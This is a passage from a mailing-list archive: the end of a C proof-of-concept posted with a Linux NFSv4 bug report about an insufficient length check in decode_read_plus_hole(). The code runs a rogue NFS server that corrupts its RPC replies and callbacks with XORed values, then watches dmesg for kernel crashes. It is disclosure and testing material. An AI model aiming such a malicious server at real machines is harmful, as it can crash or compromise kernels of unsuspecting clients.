        if(ret < 0) perror("mkdir /mnt/d");
        if(chdir("/mnt/d") == 0){
          printf("chdir succeeded\n");
          if(creat("newnewnew", 0666) < 0) perror("create newnewnew");
          unlink("newnewnew");
        } else {
          perror("chdir /mnt/d");
        }
        creat("/mnt/d/newnew", 0666);
        rmdir("/mnt/d");
      }
      if(0){
        sys("setfacl -m owner@:rwxp::allow /mnt/x");
        sys("getfacl /mnt/x");
      }
      if(0){
        int fd = open("/mnt/new", O_RDWR|O_CREAT, 0666);
        if(fd < 0) perror("open /mnt/new");
        char buf[32];
        memset(buf, 1, sizeof(buf));
        if(write(fd, buf, sizeof(buf)) < 0) perror("write");
        lseek(fd, (off_t)0, 0);
        int fd2 = creat("/mnt/newnew", 0666);
        if(fd2 < 0) perror("creat /mnt/newnew");
        off_t o1 = 0;
        off_t o2 = 0;
        if(copy_file_range(fd, &o1, fd2, &o2, 16, 0) < 0) perror("copy_file_range");
      }
      if(0){
        sys("echo -n ls: ; ls -l /mnt");
        sys("echo -n ls: ; ls -l /mnt/. /mnt/z");
        sys("echo -n echo: ; echo hi > /mnt/x");
        sys("echo -n dd: ; dd if=/mnt/y of=/dev/null bs=512 count=1");
        sys("echo -n umount: ; umount /mnt");
      }
    }
    exit(0);
  }

  int pid2 = fork();
  if(pid2 == 0){

    while(1){
      socklen_t sinlen = sizeof(sin);
      printf("calling accept\n");
      int s1 = accept(s, (struct sockaddr *) &sin, &sinlen);
      printf("accept returned %d\n", s1);
      if(s1 < 0) { perror("accept"); exit(1); }
      
      while(1){
        if(readn(s1, &ilen, 4) < 0) break;
        ilen = ntohl(ilen);
        ilen &= 0x7fffffff;
        if(readn(s1, ibuf, ilen) < 0) break;
        oi = ii = 0;
        put32(0); // place-holder for length
        parse_rpc();
#if 1
        if(symstart != -1){
          for(int i = 0; i < 16; i++)
            put32(0xffffffff);
        }
#endif
        *(int*)(obuf+0) = htonl((oi - 4) | 0x80000000);
        if(aai > NAA){
          printf("oops aai %d NAA %d\n", aai, NAA);
          exit(1);
        }
        if(symstart != -1){
          for(int i = symstart; i < oi && aai < NAA; i += 8)
            *(unsigned long long *)(obuf + i) ^= aa[aai++];
          symstart = -1;
        }
        if(oi > 0){
          if(write(s1, obuf, oi)<=0) perror("write");
        }

        if(send_back){
          send_back = 0;
          oi = 0;
          put32(0); // dummy length
          put_rpc_header(0x40000000, 1);

          // CB_COMPOUND
          put_opaque(0, ""); // compound tag
          put32(2); // minor version
          put32(0); // callback_ident
          put32(2); // operations in the compound

          // CB_SEQUENCE
          put32(11);
          for(int i = 0; i < 4; i++)
            put32(1); // sessionid
          put32(1); // sequenceid ???
          put32(0); // slotid
          put32(0); // highest_slotid
          put32(0); // cachethis
          put32(0); // csa_referring_call_lists<>
          
          int xoi = oi;
          for(int i = 0; i < 32; i++)
            put32(0xffffffff);
          for(int i = xoi; i < oi && aai < NAA; i += 8)
            *(unsigned long long *)(obuf + i) ^= aa[aai++];
          *(int*)(obuf+0) = htonl((oi - 4) | 0x80000000);
          if(write(s1, obuf, oi)<=0) perror("write");
        }
      }
      close(s1);
    }
    exit(1);
  }
  close(s);
  sleep(20);
  if(system("dmesg | grep 'unhandled sig'") == 0){
   printf("unhandled signal\n"); while(1){}
  }
}

^ permalink raw reply	[flat|nested] only message in thread

only message in thread, other threads:[~2022-01-04 20:08 UTC | newest]

Thread overview: (only message) (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2022-01-04 20:08 nfs v4 decode_read_plus_hole() insufficient length sanity check rtm

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.